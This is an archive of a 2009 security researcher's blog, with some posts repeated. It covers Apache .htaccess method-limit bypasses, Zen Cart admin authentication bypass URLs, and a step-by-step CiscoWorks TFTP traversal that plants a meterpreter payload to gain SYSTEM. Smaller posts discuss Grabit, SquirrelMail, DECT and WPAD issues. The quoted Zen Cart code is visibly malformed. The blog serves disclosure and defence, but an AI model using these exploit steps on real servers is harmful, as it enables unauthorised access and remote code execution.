If you want to restrict a directory on an Apache server to specific users, you will probably use an .htaccess/.htpasswd configuration. This allows you to add authentication to a directory or an entire site. The sad thing is, if I search for sample configurations on Google, five out of ten examples are insecure…
In fact years ago, I made the mistake of taking one of those sample configurations and used it on a site I had made. A typical .htaccess example you will find often looks like this:
AuthUserFile /var/www/.htpasswd
AuthName "My Private Files"
AuthType Basic
<limit GET POST>
require valid-user
</limit>
A rather straightforward example, so what is the problem? This configuration only partially restricts access to the ‘protected’ resource. The issue is in the <limit> tag. This tag restricts access to the resource if the request uses one of the specified HTTP methods, in this case GET and POST. Although these are the most popular methods, they certainly are not the only ones. RFC2616 (HTTP 1.1) lists eight methods: GET, POST, HEAD, OPTIONS, PUT, DELETE, CONNECT and TRACE. RFC2518 (WebDAV) adds a couple more. In other words, if you use one of the other one request methods, you can bypass the authentication. In some cases, using one of those methods will give you the protected page contents. You can also find plenty of examples (yes, the last one is nasa.gov) that don’t even limit GET and POST, but just GET, meaning a simple POST request will bypass authentication completely.
The solution? Simple, do not use the <limit> tag at all. If you omit it, all methods are restricted. If you are in a situation where you want to allow specific request methods, you should use <limitexcept>.
This is certainly not a new issue, it was documented in Apacheweek magazine in 1997. You can also find Bugtraq posts detailing instances of the issue, for example this one which describes an application that restricts only the GET method. If you want more details on this issue, Kernelpanik released a paper about it in 2004, you can find it here (pdf).
Thursday, July 23, 2009
Monday, July 6, 2009
Speaking at HAR 2009
The program for HAR 2009 was publicly announced a couple of days ago and I’m on the speakers list. My talk is called 'How we break into domains' and I will go over the steps I usually take when breaking into Windows domains. I have an hour for my talk, so I should be able to cover the technical details as well. Of course, I will also be presenting some new stuff I’ve been working on.
I had a lot of fun at the two previous events (HAL 2001 and WTH 2005) and am glad I can contribute a talk this year. See you all at HAR!
I had a lot of fun at the two previous events (HAL 2001 and WTH 2005) and am glad I can contribute a talk this year. See you all at HAR!
Thursday, June 25, 2009
Zen Cart authentication bypass
Zen Cart is a popular open source e-commerce application, written in PHP. Yesterday, two exploits for Zen Cart showed up on milw0rm. The first one is a remote code execution, the second one an SQL injection exploit. The root cause of the two bugs however, is the same: an authentication bypass on the administrative interface of Zen Cart discoverd by Ghyslain/BlackH. Zen Cart has released a patch for this issue here.
Zen Cart does a pretty decent job verifying administrators are actually authenticated, however it has some exceptions to the rule:
This code is present in /admin/includes/init_includes/init_admin_auth.php (slightly simplified code):
So basically, if you are not logged in, Zen Cart will redirect you to the login page, unless you are accessing the password_forgotten.php page.
The problem here is trusting the PHP_SELF variable to determine which script is being accessed. Here a bit of strange PHP behaviour comes in. If I request http://server.com/index.php, the PHP_SELF variable will be /index.php. However if I request http://server.com/index.php/foobar , the PHP_SELF variable will be /index.php/foobar, but the script being executed will still be index.php!
So in this case we can trick Zen Cart into thinking we are accessing password_forgotten.php, while we are actually accessing a different file by requesting:
http://target/admin/customers.php/password_forgotten.php
The file we are executing is customers.php, but basename(PHP_SELF) will return password_forgotten.php! Zen Cart thinks we are accessing the ‘I forgot my password’ page, which does not require authentication and allows us to continue without logging in. We can now view a list of customers on our target site, without logging in!
The code execution exploit uses this to access an admin script that allows an administrator to create new files. The exploit uses this functionality to create a new php file on the server, this php file contains a simple backdoor and voila: remote code execution.
Luckily Zen Cart has released a fix for this (although I expect most installations are still vulnerable). I took a look at the patch and noticed it attempts to fix the bug by checking if the string '.php' appears more than once in PHP_SELF. At first this seems to be an (ugly but) effective fix and I think it is in most cases. However, Zen Cart supports multiple platforms, including Windows. As you may know, filenames on Windows are not case sensitive (foo.txt is the same as foo.TXT). The new check however only checks for lowercase instances of '.php'… So if our target is a Windows system, we can circumvent the patch by requesting:
http://target/admin/customers.PHP/password_forgotten.php
So by changing the extension of customers.php to .PHP, we modify the PHP_SELF variable so '.php' is only present once and bypass the new check! I modified the code execution exploit on milw0rm to reflect this and was able to succesfully exploit my installation of Zen Cart on a Windows platform.
Of course I notified the Zen Cart developers of the shortcoming in their patch and they have released an updated version which does a case insensitive check.
Zen Cart does a pretty decent job verifying administrators are actually authenticated, however it has some exceptions to the rule:
This code is present in /admin/includes/init_includes/init_admin_auth.php (slightly simplified code):
if (if (!isset($_SESSION['admin_id']) &&
!(basename($SERVER['PHP_SELF']) == 'password_forgotten.php')) {
zen_redirect('login.php');
}
So basically, if you are not logged in, Zen Cart will redirect you to the login page, unless you are accessing the password_forgotten.php page.
The problem here is trusting the PHP_SELF variable to determine which script is being accessed. Here a bit of strange PHP behaviour comes in. If I request http://server.com/index.php, the PHP_SELF variable will be /index.php. However if I request http://server.com/index.php/foobar , the PHP_SELF variable will be /index.php/foobar, but the script being executed will still be index.php!
So in this case we can trick Zen Cart into thinking we are accessing password_forgotten.php, while we are actually accessing a different file by requesting:
http://target/admin/customers.php/password_forgotten.php
The file we are executing is customers.php, but basename(PHP_SELF) will return password_forgotten.php! Zen Cart thinks we are accessing the ‘I forgot my password’ page, which does not require authentication and allows us to continue without logging in. We can now view a list of customers on our target site, without logging in!
The code execution exploit uses this to access an admin script that allows an administrator to create new files. The exploit uses this functionality to create a new php file on the server, this php file contains a simple backdoor and voila: remote code execution.
Luckily Zen Cart has released a fix for this (although I expect most installations are still vulnerable). I took a look at the patch and noticed it attempts to fix the bug by checking if the string '.php' appears more than once in PHP_SELF. At first this seems to be an (ugly but) effective fix and I think it is in most cases. However, Zen Cart supports multiple platforms, including Windows. As you may know, filenames on Windows are not case sensitive (foo.txt is the same as foo.TXT). The new check however only checks for lowercase instances of '.php'… So if our target is a Windows system, we can circumvent the patch by requesting:
http://target/admin/customers.PHP/password_forgotten.php
So by changing the extension of customers.php to .PHP, we modify the PHP_SELF variable so '.php' is only present once and bypass the new check! I modified the code execution exploit on milw0rm to reflect this and was able to succesfully exploit my installation of Zen Cart on a Windows platform.
Of course I notified the Zen Cart developers of the shortcoming in their patch and they have released an updated version which does a case insensitive check.
Thursday, June 4, 2009
Slides of my OWASP talk on CSRF
Last week I gave a VAC (Vulnerability, Attack, Countermeasure) talk at an OWASP Netherlands meeting. I picked Cross-Site Request Forgery (CSRF) as a topic as it is an often misunderstood and underestimated problem.
My slides (in English) are available on the OWASP site here. I am planning on releasing another version of the slides in the OWASP template and with speaker notes for easier reuse. The last slide lists some good resources and interesting case studies (including more information on the case studies used in the presentation).
My slides (in English) are available on the OWASP site here. I am planning on releasing another version of the slides in the OWASP template and with speaker notes for easier reuse. The last slide lists some good resources and interesting case studies (including more information on the case studies used in the presentation).
Saturday, May 23, 2009
CiscoWorks TFTP directory traversal exploit
A couple of days ago, Cisco released an advisory for a CiscoWorks TFTP directory traversal vulnerability. The bug was discovered by Cisco internally. So far I have not seen any details published so I decided to see if I could find the bug. I have access to a Windows 2000 machine running CiscoWorks Common Services 3.0.3. It is not the most recent version, but it is listed in the advisory as vulnerable. The TFTP server is indeed enabled by default and exploitation is trivial:
niels@hac:~$ tftp target
tftp> get ...\...\...\...\...\...\...\boot.ini
Received 187 bytes in 0.0 seconds
tftp>
Assuming this is the same bug (and not just present in my old version) I'm surprised nobody has found this before. I ran a Nessus scan on the server and it even detected the vulnerability using a generic TFTP directory traversal plug-in.
The TFTP server will not allow you to create new files on the server, but it will allow you to overwrite existing files. It runs as SYSTEM, so all we need to do is overwrite an interesting file to get instant remote code execution. Looking at what else CiscoWorks is running, I noticed an Apache web server running on port 1741. By default, it redirects you to a login page on a different port, but looking at the configuration I noticed you can access some Perl CGI scripts through this interface. As the Apache server runs as SYSTEM as well, overwriting these scripts should give us remote code execution.
The TFTP root is "C:\Program Files\CSCOpx\tftpboot" by default. The directory "C:\Program Files\CSCOpx\cgi-bin\error" contains several publicly accessible CGI scripts, such as 404.pl and 500.pl.
I replaced 500.pl with an executable, in my case a standalone meterpreter generated using msfpayload:
tftp> binary
tftp> put meter.exe ...\cgi-bin\error\500.pl
Sent 9732 bytes in 0.1 seconds
Apache expects a Perl file, so we will need a wrapper to start 500.pl (which is really an .exe, not a Perl file), so I created a small Perl script which just does a system("500.pl"); and uploaded it to the server:
tftp> put exec.pl ...\cgi-bin\error\404.pl
Sent 36 bytes in 0.0 seconds
Windows won't mind that the 500.pl file does not have an .exe extension, as long as we execute it via the 404.pl file. So now I simply point a web browser to http://target:1741/cgi-bin/error/404.pl. 404.pl executes our meterpreter and game over:
[*] Meterpreter session 1 opened (hac:4444 -> target:1298)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Update: I tested this on CiscoWorks LMS 2.6 (Common Services 3.0.5) today. It works perfectly.
niels@hac:~$ tftp target
tftp> get ...\...\...\...\...\...\...\boot.ini
Received 187 bytes in 0.0 seconds
tftp>
Assuming this is the same bug (and not just present in my old version) I'm surprised nobody has found this before. I ran a Nessus scan on the server and it even detected the vulnerability using a generic TFTP directory traversal plug-in.
The TFTP server will not allow you to create new files on the server, but it will allow you to overwrite existing files. It runs as SYSTEM, so all we need to do is overwrite an interesting file to get instant remote code execution. Looking at what else CiscoWorks is running, I noticed an Apache web server running on port 1741. By default, it redirects you to a login page on a different port, but looking at the configuration I noticed you can access some Perl CGI scripts through this interface. As the Apache server runs as SYSTEM as well, overwriting these scripts should give us remote code execution.
The TFTP root is "C:\Program Files\CSCOpx\tftpboot" by default. The directory "C:\Program Files\CSCOpx\cgi-bin\error" contains several publicly accessible CGI scripts, such as 404.pl and 500.pl.
I replaced 500.pl with an executable, in my case a standalone meterpreter generated using msfpayload:
tftp> binary
tftp> put meter.exe ...\cgi-bin\error\500.pl
Sent 9732 bytes in 0.1 seconds
Apache expects a Perl file, so we will need a wrapper to start 500.pl (which is really an .exe, not a Perl file), so I created a small Perl script which just does a system("500.pl"); and uploaded it to the server:
tftp> put exec.pl ...\cgi-bin\error\404.pl
Sent 36 bytes in 0.0 seconds
Windows won't mind that the 500.pl file does not have an .exe extension, as long as we execute it via the 404.pl file. So now I simply point a web browser to http://target:1741/cgi-bin/error/404.pl. 404.pl executes our meterpreter and game over:
[*] Meterpreter session 1 opened (hac:4444 -> target:1298)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Update: I tested this on CiscoWorks LMS 2.6 (Common Services 3.0.5) today. It works perfectly.
Tuesday, May 12, 2009
Time to update SquirrelMail
Today Squirrelmail released version 1.4.18. This version fixes a couple of vulnerabilities, some of which I spotted while browsing through SquirrelMail source code while installing it:
The second XSS is rather interresting. SquirrelMail comes with a test script which (given ciphertext and a key) decrypts user supplied data. The decrypted data was then displayed unfiltered (resulting in an obvious XSS). Pretty stealthy and should circumvent any IDS or WAF. Having this kind of script in your webroot is obviously a bad idea anyway.
The last bug occurs only in very specific configurations. If you have more than one imap server, there is a way to configure that in SquirrelMail. If you configure this and use the example map_yp_alias function for this, unauthenticated attackers could execute shell commands on your server. If you built your own function for this, you should probably check if it handles input correctly. It is unlikely that you're running this kind of configuration, but there are probably a couple of installations out there using this.
- A reflected XSS caused by unsafe handling of the $PHP_SELF variable
- A reflected XSS caused by unsafe handling of user supplied encrypted data
- A remote command execution vulnerability (only in very specific configurations)
The second XSS is rather interresting. SquirrelMail comes with a test script which (given ciphertext and a key) decrypts user supplied data. The decrypted data was then displayed unfiltered (resulting in an obvious XSS). Pretty stealthy and should circumvent any IDS or WAF. Having this kind of script in your webroot is obviously a bad idea anyway.
The last bug occurs only in very specific configurations. If you have more than one imap server, there is a way to configure that in SquirrelMail. If you configure this and use the example map_yp_alias function for this, unauthenticated attackers could execute shell commands on your server. If you built your own function for this, you should probably check if it handles input correctly. It is unlikely that you're running this kind of configuration, but there are probably a couple of installations out there using this.
Thursday, May 7, 2009
Grabit exploits are available (but not working)
I have seen two exploits so far for the NZB overflow, both on milw0rm (here and here). I took a look at the code and they do not look very reliable, in fact both of them suffer from the same problem I initially had when exploiting the bug.
The exploits on milw0rm are tuned for very specific environments, this is caused by the fact that Grabit prepends the current directory to the string copied in the buffer. The authors created the NZB exploits in a specific directory and the exploits will not work if they place it in another one with a different path length (this is why the second exploit has two 'targets').
When I was creating an exploit, this seemed like a serious problem for exploit reliability to me. But when tracing through the code, you will notice that the directory is not always prepended. If the DTD reference is to an absolute path (instead of a relative one), it will not prepend the directory and exploitation is a lot more reliable. After I fixed this in the two exploits, they work just fine on my system.
The exploits on milw0rm are tuned for very specific environments, this is caused by the fact that Grabit prepends the current directory to the string copied in the buffer. The authors created the NZB exploits in a specific directory and the exploits will not work if they place it in another one with a different path length (this is why the second exploit has two 'targets').
When I was creating an exploit, this seemed like a serious problem for exploit reliability to me. But when tracing through the code, you will notice that the directory is not always prepended. If the DTD reference is to an absolute path (instead of a relative one), it will not prepend the directory and exploitation is a lot more reliable. After I fixed this in the two exploits, they work just fine on my system.
Sunday, May 3, 2009
Grabit <= 1.7.2 beta 3 NZB file parsing stack overflow
I can’t usually find the time for vulnerability research, but a while ago I found a bug in Grabit, a popular usenet client with NZB support. I posted the following message to Bugtraq and Full Disclosure today:
Grabit <= 1.7.2 beta 3 NZB file parsing stack overflow
Impact: Remote code execution
Version: <= 1.7.2 beta 3
Description
Grabit is a popular Windows usenet client designed for downloading binary files. It has support for NZB files, which a user would usually acquire from an external source. Version 1.7.2 beta 3 is vulnerable to a stack overflow when parsing DTD references in NZB files. Earlier versions are vulnerable as well. Reliable exploitation is pretty straightforward.
Fix
I reported this to the author a while ago. He has now released version 1.7.2 beta 4, which fixes the bug. It can be downloaded at http://www.shemes.com/
Grabit <= 1.7.2 beta 3 NZB file parsing stack overflow
Impact: Remote code execution
Version: <= 1.7.2 beta 3
Description
Grabit is a popular Windows usenet client designed for downloading binary files. It has support for NZB files, which a user would usually acquire from an external source. Version 1.7.2 beta 3 is vulnerable to a stack overflow when parsing DTD references in NZB files. Earlier versions are vulnerable as well. Reliable exploitation is pretty straightforward.
Fix
I reported this to the author a while ago. He has now released version 1.7.2 beta 4, which fixes the bug. It can be downloaded at http://www.shemes.com/
Wednesday, April 8, 2009
Tonight on Dutch television, NOVA: Het afluisteren van DECT-telefoons
In other words, some Dutch media attention on DECT eavesdropping. There has been very little coverage of DECT security issues in the Dutch media, so I’m hoping this broadcast will change that.
DECT sniffing has become easier since my last post. COM-ON-AIR prices seem to be going down again on eBay and people are selling pre-made boot CD’s for DECT sniffing. So no Linux installation necessary anymore, someone can simply buy a COM-ON-AIR card and a CD, pop both of them in a laptop and start sniffing. Needless to say, eavesdropping on your neighbours conversations is illegal, so only use this if you have permission.
I purchased a couple of cards for Fox-IT shortly after the issue became public. As a part of penetration tests, I have already tested DECT security at some of our customers. The results are pretty much as you would expect.
Update: Some shocking details from the broadcast: phone conversations of the Dutch IRS (Belastingdienst), the police, a hospital and a Dutch government minister all can be easily intercepted. First viewer reactions on the NOVA site are of course 'Where can I get one of those eavesdropping things, it sounds like fun'.
Update2: It looks like the media coverage has arrived!
DECT sniffing has become easier since my last post. COM-ON-AIR prices seem to be going down again on eBay and people are selling pre-made boot CD’s for DECT sniffing. So no Linux installation necessary anymore, someone can simply buy a COM-ON-AIR card and a CD, pop both of them in a laptop and start sniffing. Needless to say, eavesdropping on your neighbours conversations is illegal, so only use this if you have permission.
I purchased a couple of cards for Fox-IT shortly after the issue became public. As a part of penetration tests, I have already tested DECT security at some of our customers. The results are pretty much as you would expect.
Update: Some shocking details from the broadcast: phone conversations of the Dutch IRS (Belastingdienst), the police, a hospital and a Dutch government minister all can be easily intercepted. First viewer reactions on the NOVA site are of course 'Where can I get one of those eavesdropping things, it sounds like fun'.
Update2: It looks like the media coverage has arrived!
Tuesday, March 10, 2009
Microsoft just released a patch for some WPAD vulnerabilities
Microsoft has just release three security bulletins, among them is MS09-008. This bulletin describes two DNS spoofing vulnerabilities, apparently caused by lack of caching of certain queries. The bulletin also fixes two WPAD related vulnerabilities: "DNS Server Vulnerability in WPAD Registration" and "WPAD WINS Server Registration Vulnerability". Both vulnerabilities have been known for a long time, they are caused by the fact that a lot of organizations do not have WPAD servers. An attacker could register himself as the WPAD server at a WINS server or a DNS server (if dynamic updates are enabled) and start replying to WPAD requests. According to Microsoft the vulnerabilities are fixed by "modifying the way that Windows WINS servers responds to WPAD and ISATAP name resolution requests" and "modifying the way that Windows DNS servers respond to WPAD name resolution requests". I wonder what that means...
Subscribe to:
Posts (Atom)